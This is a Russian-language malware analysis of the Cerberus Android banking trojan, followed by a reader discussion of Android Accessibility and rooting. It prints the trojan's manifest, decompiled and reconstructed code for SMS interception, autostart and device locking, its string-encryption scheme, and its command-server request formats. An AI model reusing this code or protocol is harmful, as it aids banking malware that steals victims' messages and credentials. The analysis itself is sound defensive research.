Иследование современного Malware Cerberus под Android

image

На носу 2020 год и сегодня мы имеем уже версию Android 9.0 Pie, где компания Google бьет себе в грудь и говорит что их продукт защищен. Но злодеи не дремлют и создают свои вредоносы для Android.

Случайным образом мне попался на руки обфусцированный apk файл, который является банковской малварью под названием «Cerberus», и появился он в 2019 году.

APK файл данного ботнета попал мне с недействительным адресом соединения с сервером, по этому часть логики работы и функционала осталась неизученной, так как данный ботнет использует «модульную» систему, и подгружает функционал напрямую со своего сервера.

Анализ apk пакета


После анализа apk-пакета, я составил структуру троянской программы:

  1. Receiver, autorun + alarm;
  2. Service, работает в цикле с интервалом 8 секунд, он отвечает за показ всплывающего сообщения для включения Accessibility Service, активации функции блокировки экрана и отключения прав администратора;
  3. Service, собирающий данные с датчиков девайса, таким образом малварь получал физическое активность девайса;
  4. Service, в цикле блокирует экран девайса;
  5. Service, отвечает за обмен данных с сервером;
  6. Activity, подгружает html код в WebView, и показывает содержимое, служит для подмены активити приложения банка;
  7. Activity, запрашивает опасные разрешения.
  8. Class, хранит в себе основные строки(String) проекта

Начнём с манифеста


Манифест у приложения достаточно интересный, и уже по нему можно определить что это не простое приложение, а обыкновенная малварь.

Например рассмотрим разрешения для приложения:

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>

Тут можно заметить, что приложение получает доступ к СМС, контактам, звонкам, интернету, работа приложения в спящем режиме.

Идём дальше, и видим привилегии, которые позволяют приложению становиться основным для получения\отправки смс, это злодеи используют для скрытия СМС сообщений на телефонах жертв.

 	<activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv">
            <intent-filter>
                <data android:scheme="sms"/>
                <action android:name="android.intent.action.SENDTO"/>
                <data android:scheme="smsto"/>
                <action android:name="android.intent.action.SEND"/>
            </intent-filter>
        </activity>

        <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH">
            <intent-filter>
                <data android:mimeType="application/vnd.wap.mms-message"/>
                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
            </intent-filter>
        </receiver>

        <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
            <intent-filter>
                <data android:scheme="sms"/>
                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
                <data android:scheme="smsto"/>
            </intent-filter>
        </service>

Ну и конечно Ресивер, он служит для автозапуска сервисов, и перехвата СМС.

	<receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS">
        <intent-filter android:priority="979">
            <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
            <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
            <action android:name="android.intent.action.PACKAGE_ADDED"/>
            <action android:name="android.intent.action.USER_PRESENT"/>
            <action android:name="android.intent.action.PACKAGE_REMOVED"/>
            <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            <action android:name="android.provider.Telephony.SMS_DELIVER"/>
            <action android:name="android.intent.action.BOOT_COMPLETED"/>
        </intent-filter>
    </receiver>

Права администратора, это уже намного интереснее. Приложению они нужны для блокировки удаления приложения (при включенных правах администратора, кнопки «удалить» у приложения просто не будет), так же эти права позволят удалить всё с устройства, блокировать девайс.

 	<activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/>
 	<receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN">
        <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/>
        <intent-filter android:priority="121">
            <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
            <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
            <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/>
        </intent-filter>
    </receiver>

Ну и самое интересное, это Accessibility Service. Он используется для того, чтобы малварь могла сама кликать по экрану, и давать себе нужные разрешения, в том числе и админ права. Через это разрешение злоумышленники отслеживают все действия пользователя на устройстве.

 	<service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
        <intent-filter>
            <action android:name="android.accessibilityservice.AccessibilityService"/>
        </intent-filter>
        <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/>
    </service>

Ну и остальные сервисы и активити, которые не представляют особого интереса без валидного адреса сервера малвари.

	<activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/>
	<service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/>
	<service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/>
    <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/>
    <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/>

В общем малварь не использует ничего сверхъестественного, в ней нету ни использования каких либо 0-day на андроид. Злоумышленникам нужно добиться от жертвы включения одного разрешения, и не более, дальше малварь всё сделает сама.

Google надо бы ограничить некоторые возможности API для приложений не из плей маркета.

Receiver


Код данного класса обфусцирован, но это не мешает его изучить.

Обфусцированный код
public void onReceive(Context context, Intent intent) {
 	int i;
    C0005b bVar;
    String str;
    String sb;
    if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) {
		this.f345b.mo24a(this.f347d, this.f344a.f46aT);
		C0005b bVar2 = this.f345b;
		this.f344a.getClass();
		C0005b.m16a(context, "", 10000);
		int i2 = 0;
		while (true) {
			if (i2 < this.f344a.f241ec.length) {
				if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) {
					break;
				}
				if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) {
					if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) {
						context.stopService(new Intent(context, this.f344a.f241ec[i2]));
					}
					bVar = this.f345b;
					str = this.f347d;
					StringBuilder sb2 = new StringBuilder();
					sb2.append(this.f344a.f90bK);
					sb2.append(this.f344a.f241ec[i2]);
					sb = sb2.toString();
				} else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) {
					context.startService(new Intent(context, this.f344a.f241ec[i2]));
					bVar = this.f345b;
					str = this.f347d;
					StringBuilder sb3 = new StringBuilder();
					sb3.append(this.f344a.f88bI);
					sb3.append(this.f344a.f241ec[i2]);
					sb = sb3.toString();
				} else {
				int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU));
				this.f344a.getClass();
				if (parseInt >= 0) {
					context.startService(new Intent(context, this.f344a.f241ec[i2]));
					bVar = this.f345b;
					str = this.f347d;
					StringBuilder sb4 = new StringBuilder();
					sb4.append(this.f344a.f89bJ);
					sb4.append(this.f344a.f241ec[i2]);
					sb = sb4.toString();
				} else {
					i2++;
				}
			}
			bVar.mo24a(str, sb);
			i2++;
			} else {
				break;
			}
		}
		this.f345b.mo23a(this.f347d, context);
		this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM);
		if (intent.getAction().equals(this.f344a.f29aC)) {
			this.f345b.mo20a(context, intent);
		}
		try {
			i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af));
			int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1;
			i++;
			C0005b bVar3 = this.f345b;
			String str2 = this.f344a.f57ae;
			StringBuilder sb5 = new StringBuilder();
			this.f344a.getClass();
			sb5.append("");
			sb5.append(parseInt2);
			bVar3.mo22a(context, str2, sb5.toString());
			C0005b bVar4 = this.f345b;
			String str3 = this.f344a.f58af;
			StringBuilder sb6 = new StringBuilder();
			this.f344a.getClass();
			sb6.append("");
			sb6.append(i);
			bVar4.mo22a(context, str3, sb6.toString());
		} catch (Exception e2) {
			e = e2;
			i = 0;
			C0005b bVar5 = this.f345b;
			String str4 = this.f344a.f252p;
			StringBuilder sb7 = new StringBuilder();
			sb7.append("(pro8)  | vvcy ");
			sb7.append(e.toString());
			sb7.append("::endLog::");
			bVar5.mo31b(context, str4, sb7.toString());
			if (i >= 3) {
				return;
			}
			return;
		}
		if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) {
			if (this.f345b.mo33b(context, pzjzcxauihlf.class)) {
				this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP);
			}
			Intent intent2 = new Intent(context, lvhxcug.class);
			intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP);
			intent2.addFlags(268435456);
			intent2.addFlags(536870912);
			intent2.addFlags(1073741824);
			context.startActivity(intent2);
			C0005b bVar6 = this.f345b;
			String str5 = this.f344a.f58af;
			StringBuilder sb8 = new StringBuilder();
			this.f344a.getClass();
			sb8.append("");
			sb8.append(0);
			bVar6.mo22a(context, str5, sb8.toString());
		}
    }
}


А теперь немного пояснений по коду.

Настройки малвари хранятся XML файле, файл находится в директории /data/data/имя_пакета/shared_prefs/Settings.xml

  • public String ReadXML — метод для чтения настроек
  • public String SaveXML — метод для сохранения настроек
  • public boolean DozeMode — Проверяет включен ли режим Doze Mode
  • public class Service_fa extends Service — Сервис для сборки физической активности девайса (шаги, тряска телефона и прочее)
  • public class Service_server extends Service — Сервис для соединения с сервером
  • public class Service_event_loop extends Service — Сервис работающий в беcконечном цикле для выполнений некоторых функций малвари
  • public void startOffDozeMode — запрос для отключения режима Doze Mode
  • public void startAlarm — Запуск ресивера каждые 10 секунд
  • public void interceptionSMS — Метод для работы с перехатом СМС
  • public boolean isAccessibilityService — метод для проверки включен ли Accesibility Service или нет
  • public boolean cis — метод, который блокирует работу малвари по странам, входящим в СНГ, а конкретно это: ua, ru, by, tj, uz, tm, az, am, kz, kg и md (сокращённые названия стран)

Я постарался привести обфусцированный код выше, в более читаемый и нормальный вид:

Читаемый код
public void onReceive(Context context, Intent intent) {
public Class[] arrayService = {Service_fa.class, Service_server.class,  Service_event_loop.class};
    if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) {
        startAlarm(context, "", 10000);
        for (int i = 0; i < arrayService.length; i++) {
            if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break;
            if (!isMyServiceRunning(context, arrayService[i])) {
                if (Service_fa.class.getName().equals(arrayService[i].getName())) {
                    startService(new Intent(context, arrayService[i]));
                } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) {
                    startService(new Intent(context, arrayService[i]));
                }
            }else{
                if(Service_server.class.getName().equals(arrayService[i].getName())){
                    stopService(new Intent(context, arrayService[i]));
                }
            }
        }
        startOffDozeMode(context);
        if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
            interceptionSMS(context, intent); // Перехват СМС
        }
        if (isAdminDevice(context)) {
            if ((getScreenBoolean(context)) && (isAccessibilityServiceEnabled(context, srvSccessibility.class))) {
                if (isAccessibilityServiceEnabled(context, srvSccessibility.class)) {
                    SaveXML(context, consts.autoClick, "1");
                }
                Intent intent = new Intent(context, Admin.class);
                intent.putExtra("admin", "1");
                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
                intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
                startActivity(intent);
            }
        }
    }
    public void  interceptionSMS(Context context, Intent intent){
        Bundle bundle = intent.getExtras();
        if (bundle != null) {
            final Object[] pdus = (Object[]) bundle.get(consts.string_116);
            String number = "";
            String text = "";
            if (pdus != null) {
                for (Object aPdusObj : pdus) {
                    SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) aPdusObj);
                    number = smsMessage.getDisplayOriginatingAddress();
                    text += smsMessage.getDisplayMessageBody();
                }
                SaveXML(context, "LogSMS",  "Number: " + number + " Text: " + text + "::endLog::");
            }
        }
    }
}


Так думаю код стал более понятен многим читателям.

У Receiver есть 3 триггера на срабатывание, а это при перезагрузке устройства, получении СМС или при запуске Alarmon.

Так же Receiver запускает 3 сервиса:

  • Cбор физической активности девайса(Service_fa)
  • Сервис для соединения с сервером(Service_server)
  • Сервис работающий в беcконечном цикле для выполнений некоторых функций малвари(Service_event_loop)

В первую очередь запускается Service_fa и только после проявления активности устройства (если владелец телефона ходит, и трясёт телефон), запускаются Service_server и Service_event_loop. Они являются основным процессом малвари, таким методом малварь может отъсеять реальный девайсы от эмуляторов и девайсов ресёчеров, ав и прочих.

Так же Receiver запускает запрос отключения Doze Mode и запрос подтверждения прав администратора.

Так как малварь имеет привилегии администратора, его нельзя удалить с девайса пока не будут сняты права.

Права администратора


Давайте рассмотрим какие возможности мы имеем благодаря Admin Device.

<!-- ADMIN DEVICE XML -->
<?xml version="1.0" encoding="utf-8"?>
<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent">
    <uses-policies>
        <force-lock/>
        <wipe-data/>
    </uses-policies>
</device-admin>

элемент force-lock отвечает за права блокировки экрана девайса, а wipe-data за удаление раздела DATA, CACHE, и всей памяти на устройстве (его полный сброс).

Service_fa


На этом мы закончим рассматривать Receiver, и рассмотрим другие сервисы. Сервис который снимает данные с сенсорных датчиков используя класс SensorManager, этот сервис просто получает данные активности и сохраняет их в файл XML.

Благодаря этому злодеям получатся получить историю активности и произвести её анализ для отсеивания эмуляторов и особо ленивых пользователей.

Service_server


Этот поток создан для общения с сервером, данные передаются на сервер в зашифрованном виде используя алгоритм шифрования RC4 кодируя после него все в base64.

При запуске сервиса первый запрос на сервер выглядит так:

    {
        "id":"qoietjeoisfhjdfhk",
        "idSettings":"",
        "number":"+79999999999",
        "statAdmin":"1",
        "statProtect":"0",
        "statScreen":"1",
        "statAccessibilty":"0",
        "statSMS":"1",
        "statCards":"0",
        "statBanks":"0",
        "statMails":"0",
        "activeDevice":"53",
        "timeWorking":"342",
        "statDownloadModule":"0",
        "batteryLevel":"78",
        "locale":"fr"
    }

Данные отправляемые на сервер я заполнил случайным образом, по названию параметров думаю всё понятно, какой за что отвечает, по этому на их разборе останавливаться не будем.
Теперь смотрим какие могут быть ответы сервера, малварь проверяет возвращает ли пустой ответ, если да, то начинает перебирать массив доменов серверов в цикле, и отправлять этот запрос на каждый домен, и если в ответе будет строка == "~I~", то малварь останавливается на этом домене и начинает работать с ним.

Мы определились с каким доменом работаем, теперь смотрим остальные ответы.

Если возвращается Response == "||youNeedMoreResources||" то сразу идет запрос на сервер для получения дополнительного модуля малвари:
gate_url?action=getModule&data={«idbot»:«qoietjeoisfhjdfhk»}
Идем дальше, Response == "||no||"
отравляет на сервер запрос gate_url?action=registration&data=JSON:
    {
        "id":"qoietjeoisfhjdfhk",
        "android": Build.VERSION.RELEASE,
        "tag":"tag",
        "country":"fr",
        "operator":"Megafon",
        "model":"Samsung Galaxy S9"
    }

Этот запрос служит для регистрации нового пользователя в админ панели, на этом запросы к серверу закончились.

Но ниже есть условие которое проверяет наличие файла «system.apk».

Обфусцированный код:

if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){}

Упрощенный код:

if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {}

если файл присутствует, формируется JSON в виде:
{
    "params":"updateSettingsAndCommands",
    "response":"data"  
}

В параметр response передается ответ с сервера, далее json передается в метод который находится модуле «system.apk» и с помощью класса DexClassLoader он выполняется.

Service_event_loop


Данный сервис работает в цикле и ждет команды на блокировку девайса. Девайс блокируется в цикле при помощи прав администратора.

DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
     deviceManager.lockNow();

Данный сервис умеет отключать права администратора, видимо автор малвари это решил сделать для «самоуничтожения» малвари, чтобы не оставлять следов на телефоне жертв.

    ComponentName componentName = new ComponentName(this, DeviceAdmin.class);
    DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
    devicePolicyManager.removeActiveAdmin(componentName);

Так же цикл имеет 2 скорости работы, 1 секунда и 8 секунд, если Accessibility Service отлючен, то работает на 1-й секунде и просит включить данный сервис, просто открывая Activity и заставляет включить специальные возможности, на практике подробно это рассмотрим.

В конце цикла также есть реализация как и в Service_server, а конкретне отправка команд в метод, который находится внутри подгруженного модуля «system.apk», но параметры не много другие, смотрим JSON:

    {
        "params":"serviceWorkingWhile",
        "tick":"100",
        "idbot":"qoietjeoisfhjdfhk",
        "accessibility":"1"
    }

tick — секунды которые считает цикл сервиса, accessibility — проверяет включен ли Accesibility Service.

Класс String(s)


Все строки внутри класс зашифрована алгоритмом RC4, после чего закодированы в base64.

Пример:

зашифрованный строка: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
где первые 12 символов страки это ключь расшифрования алгоритма RC4
Ключи: yyshybiwijuj
Зашифрованный текст: YzdkZDdkMjRlYjJmYjU5Y2Qw

Вот часть кода класса String(s)

    /* renamed from: A */
    public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw");

    /* renamed from: B */
    public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx");

    /* renamed from: C */
    public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA==");

    /* renamed from: D */
    public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy");

    /* renamed from: E */
    public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ=");

    /* renamed from: F */
    public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA==");

    /* renamed from: G */
    public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi");

    /* renamed from: H */
    public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5");

    /* renamed from: I */
    public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc=");


Я написал скрипт, для преобразования данных строк в нормальный вид, это помогло мне скоротать немного времени.

    /* renamed from: A */
    public final String str_statMails = "statMails";

    /* renamed from: B */
    public final String str_activeDevice = "activeDevice";

    /* renamed from: C */
    public final String str_timeWorking = "timeWorking";

    /* renamed from: D */
    public final String str_statDownloadModule = "statDownloadModule";

    /* renamed from: E */
    public final String str_lockDevice = "lockDevice";

    /* renamed from: F */
    public final String str_offSound = "offSound";

    /* renamed from: G */
    public final String str_keylogger = "keylogger";

    /* renamed from: H */
    public final String str_activeInjection = "activeInjection";

    /* renamed from: I */
    public final String str_timeInject = "timeInject";

Так же видим что в этом классе хранится:

    /* renamed from: ay */
    public final String str_url = "https://twitter.com/LukasStefanko";

    /* renamed from: az */
    public final String str_Accessibility = "Flash Player Service";

    /* renamed from: bb */
    public final String str_gate1 = "action=registration&data=";

    /* renamed from: bc */
    public final String str_gate2 = "action=sendInjectLogs&data=";

    /* renamed from: bd */
    public final String str_gate3 = "action=sendSmsLogs&data=";

    /* renamed from: be */
    public final String str_gate4 = "action=timeInject&data=";

    /* renamed from: bf */
    public final String str_gate5 = "action=sendKeylogger&data=";

    /* renamed from: bg */
    public final String str_gate6 = "action=getModule&data=";

    /* renamed from: bh */
    public final String str_gate7 = "action=checkap&data=";

    /* renamed from: bj */
    public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";


URL сервера указан твиттер ресечера Lukas Stefanko(@LukasStefanko), видимо автор хотел пошутить или что-то сказать Лукасу (Это аналитик из NOD32), так же тут хранится имя Accessibility Service + то же название хранится в манифесте android:label=«Flash Player Service», и список стран, по которым не работает малварь.

Остальное


Кратко опишу работу инжектов. Она реализована просто, если включен Accessibility Service, то данный сервис просто ловит событие о запуске банковского приложения и запускает поверх активити банка свое активити, где оно имеет объект WebView который прогружает html-фейк банка, после чего получает данные с помощью JavaScript и отправляет данные на сервер малвари.

Так же в этом сервисе реализован Keylogger, блокировки удаления малвари и автоклик по подтверждениями. Было обнаружено взаимодействие отключения безопасности в приложение «com.miui.securitycenter». Это приложение называется «Безопасность» которые используется на девайсах Xiaomi, его основные задачи следить за безопасностью ваших конфиденциальных данных. Так же был обнаружен код для автоматического отключения «Google Play Protect» методом автоклика.

Перейдем к практике


Мне удалось найти твиттер злодеев и добыть скриншот админ панели

image

Устанавливаю apk-пакет на эмулятор с API 27.

На рабочем столе появилась иконка флеш плеера с названием «Flash Player»

Скриншот
image

Ждем по иконке, и у нас запускается малварь.

После запуска малвари, автоматический запускается Активити с требованием включения Accessibility Service, если свернуть ее, она появится снова и это происходит в цикле до тех пор пока я не включил сервис.

Скриншот
imageimage

После включения галочки Accessibility Service, выполнился автоматический переход с настроек на рабочий стол, и больше у меня не получилось попасть в настройки Accessibility Service, также исчезла иконка с рабочего стола, через несколько секунд появился запрос отключения Doze Mode, он автоматически отключился благодаря автоклику специальных возможностей.

Скриншот
image

Cледом таким же образом было авто подтверждения прав администратора. Удалить малварь в ручном режиме не удалось так как при открытие настроек данного приложение был автоматический выход назад (GLOBAL_ACTION_BACK).

Собственно это все по первой части, в скором времени напишу вторую часть с дополнительным а возможно с основным модулем данного бота, так как найти apk файл малвари с валидной ссылкой на сервер мне не удалось.

Реверс малвари был реализован совместно с keklick1337
Реклама
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее

Комментарии 28

    0
    >> Google надо бы ограничить некоторые возможности API для приложений не из плей маркета.

    Чисто для информации — они тупо не умеют. То есть все эти права администратора и спец.возможности миллион программ использует для реализации самых безобидных действий, вроде отслеживания нажатий на кнопки или выключения экрана по желанию пользователя. Вот это всё гуглы тупо не сделали по хорошему, то есть не дали API, которые бы позволяли управлять экраном, кнопками и т.д. и т.п. Поэтому народ в поисках возможностей юзает все эти спец.возможности и прочий никому не нужный хлам (в случае, если было бы нормальное API). Ну и отключить всё это для гуглов означает удаление с маркета миллионов полезных программ. И это значит — гуглы просто не могут, никак не могут, сделать устройство безопасным. Потому что на ряду с полезными возможностями включение всех этих администраторов и спец.возможностей даёт контроль над устройством. И отделить одно от другого — нельзя, вот так вот спроектирован ведроид. Уже более 10-ти лет они никак не могут эту хрень побороть, потому что надо всё переписывать, в том числе всем авторам программ с маркета. Плюс все эти права, которые юзер оптом обязан подтвердить при установке программы. Если не подтвердил — всё, кина не будет. Поэтому все давно надрессированы на подтверждение всех возможных прав. Ну и понятное дело — подтверждают права на собственный расстрел. Просто потому, что вот такая вот она, гугло-архитектура. И по другому нельзя, потому что тогда надо переписать весь ведроид.
      0
      Проще переписать весь ведроид) Но, они этого делать не будут, а нам ничего не остаётся, кроме как разбирать то, как люди пишут малварь под ведроид)
        0
        А как же фуксия?
        Кстати, что-то о неё давно ничего не слышал
        0
        В этом есть правда, гугл всячески старается сохранить обратную совместимость api. Во многом благодаря этому андроид обрел такую популярность
        0
        Я ни разу не Андроид-разработчик
        Напрашивается мысль вообще отключить поддержку Accessibility сервисов — наксолько я понимаю, это один важнейшних векторов атаки.

        Возможно ли это, на рутованном хотя бы аппарате?
          0
          Нет, ибо это необходимый сервис для андроида, и системных приложений. Но было бы неплохо запретить акцессабилити кликать по экрану, т.к. это самое основное, чем пользуются злоумышленники.
            +1
            На рутованном возможно всё. Инструментируем существующие Java классы. В динамике с помощью Xposed. В статике — как угодно. Хоть через декомпиляцию, хоть через сборку из исходников AOSP.
              0
              Можно подробнее для не- Android разработчиков?
                0
                Что такое XPosed знаю, но не на всех аппаратах его удаётся воткнуть.
                К тому времени, когда допилят — аппараты устаревают.
                0
                Это важнейший инструмент позволяющий людям с ограниченными физическими возможностями пользоваться смартфонами, компьютерами и прочими бытовыми приборами. Пускай те кто сами дают права администратора первому приложению которое попросило, страдают.
                  0
                  Пускай проблемы безопасности Acceccibility остаются тем, кто тащит всюду её поддержку.
                  Зачем страдают остальные? (то есть большинство)

                  UPD. Что мешает при первом запуске андроида спрашивать, нужна ли Accessibility?
                  Почему остальным (т.е. большинству) запрещается думать об её отключении?
                    0
                    Из за того что хомячки не ленятся проходить квест на включение прямого доступа что бы отдать права малварю, вряд ли кто то даже почешется. Надо еще банковские переводы запретить. Что бы в лохотронах не участвовали.
                      0
                      А-ааа, Вы против рутования?
                      За то, чтобы Ваши (и наши) данные были «защищены» от нас же — читай, зашифрованы чужим ключом?
                      Рутовый доступ есть у производителя официальной прошивки — Вы против того, чтобы я подвинул его с этого теплого места и дал права тем приложениям, которым я доверяю?

                      Дык вот: вопросы-то актуальны, и от ответа Вы уклонились.
                      Рут мне нужен, Accessibility сервисы нет!
                        0
                        И да, патченый «сбербанк» отлично работает на рутованном аппарате.
                        Главное: SMS от 3D Secure приходят на симку в другой звонилке.

                        Насколько я понимаю, «защита от рута» в банковских ит.п. приложениях — это как раз защита от малвари, работающей через включённое Accessibility (т. е. имеющей такие разрешения как рисование поверх экрана, чтение экранов других приложений и тутти фрутти).

                        Дозвольте эту пакость отключить на корню (можно оставить Opt-in для тех, кому оно реально нужно) — и некоторым отделам банковских погромистов придётся искать другие таски.
                        Надеюсь, что не столь мне враждебные.
                          0
                          Не совсем так. Проверка на рут в финансовых приложениях это Atestation API Google. SafetyNet. У нее есть три типа аттестации. Доверенная среда и программа. Скомпрометированная. Или вообще нельзя работать. Спрятать рут вы не можете никак. Есть такая штука как селинукс контекст. Которая никуда не спрячется. И у рута он свой. Можете патчить систему как угодно, внешняя проверка сделает чек контекста, и то что у вас маджиск показывает что проверка проходит не поможет :) И банк и гугл знают что у вас модифицированный телефон. Просто это уже не их проблемы. Поэтому вы спокойно пользуетесь сбербанком считая что всех обманули :)
                            0
                            Спрятать рут вы не можете никак.

                            Вы в курсе, что есть и SafetyNet patch?
                            Который желающие ставят себе например как модуль Magisk — и в результате проверку аппарат проходит.
                            Лично у меня не было нужды им пользоваться — потому, что использую патченый «Сбербанк» (СМС напоминаю приходят на другой телефон)

                            И да, мне не нравится, когда на моём аппарате за счёт моих ресурсов кто-то пытается организовать для себя уютненькую «доверенную среду».
                            По-моему, именно это реакция нормальная.

                            Вот, прошивку чипа на кредитке я не пытаюсь модифицировать — наверное, не стал бы рутовать и мобильный терминал, предоставленный банком. )
                            Но за этим сценарием другой вопрос: сколько таких терминалов надо было бы с собою таскать?

                            Насколько я краем уха слышал, сейчас у андроида может быть только один «рабочий» воркспейс (и логично, если выданные работодателем аппараты администрируются удалённо; — напротив удивительно, когда кто-то претендует админстрировать мою личную собственность: я воздерживаюсь от использования создающих мне на ровном месте неудобства приложений, если для них нет лечения)

                            Была бы возможность поднять в андроиде несколько «песочниц» — пожалуй, отдал бы «Сберу» окружение-виртуалку
                            Но удовлетворился бы Сбер такой виртуалкой?
                              0
                              мне не нравится, когда на моём аппарате за счёт моих ресурсов

                              Вот, прошивку чипа на кредитке я не пытаюсь модифицировать


                              Судя по всему — до тех пор пока он не устроил себе что-нибудь уютненькое «за ваш счет». :-)
                                0
                                Не понял, кто?
                                Чип на кредитке?

                                Если же вы наоборот о софтах, которым я выдал рутовые права — ну так это я им такие права выдал, а не какие-то «неизвестные отцы».

                                Важно ещё и то, что банки привязаны к симке в другой звонилке, и именно туда приходят чувствительные СМС.

                                По моему частному опыту, в такой конфигурации можно год беспредельничать, ставить 300 приложений из телеграм-каналов и лишь единожды схватить дропера. Живу без постоянного в фоне антивируса — так же как и на ПК

                                Единственно что напрягает — но уже «поздняк метаться» — это контакты, давно сданные гуглю и почти всем желающим с ними ознакомиться.
                                А больше ничего чувствительного на том андроиде нет.
                                  0
                                  Сформулировался корневой вопрос: что есть смартфон, вернее для кого он?
                                  Он мой и для меня — или напротив, для кого угодно, желающих мне что-то продать?

                                  Если признать смартфон терминалом для впаривания цифровых продуктов потребителю — да, логично что там обустраиваются продавцы и защищают свои интересы от действий глупого меня.

                                  Но пока мне ничто не мешает перевернуть ситуацию.
                                    0
                                    >> Он мой и для меня — или напротив, для кого угодно, желающих мне что-то продать?

                                    Логичный вопрос.

                                    Вещи делают их производители, которые занимаются всем этим исключительно из любви к денежным знакам, а потому с их точки зрения — вещь только для них (для их денежных знаков). Но есть и другая сторона — пользователи вещей. Они тоже чего-то там считают, но вот возможности «что-то подкрутить» производители тщательно отрезают. Поэтому основная часть пользователей — рабы поставщиков. И только очень небольшая часть мутит что-то там с прошивками, сборкой ведроида, с рутом и прочими радостями аутиста. Вот они хотя бы пытаются сделать вещь реально своей. Но к сожалению — большинству плевать, а потому и попытки меньшинства обречены (или всё же хотя бы иногда — нет?).
                                      0
                                      Да, я про чип кредитки. Пока он не рушит вашу зону комфорта в отношении того, что вы считаете своим личным, вам не придет в голову его трогать. Это нормально.

                                      Сформулировался корневой вопрос: что есть смартфон, вернее для кого он?


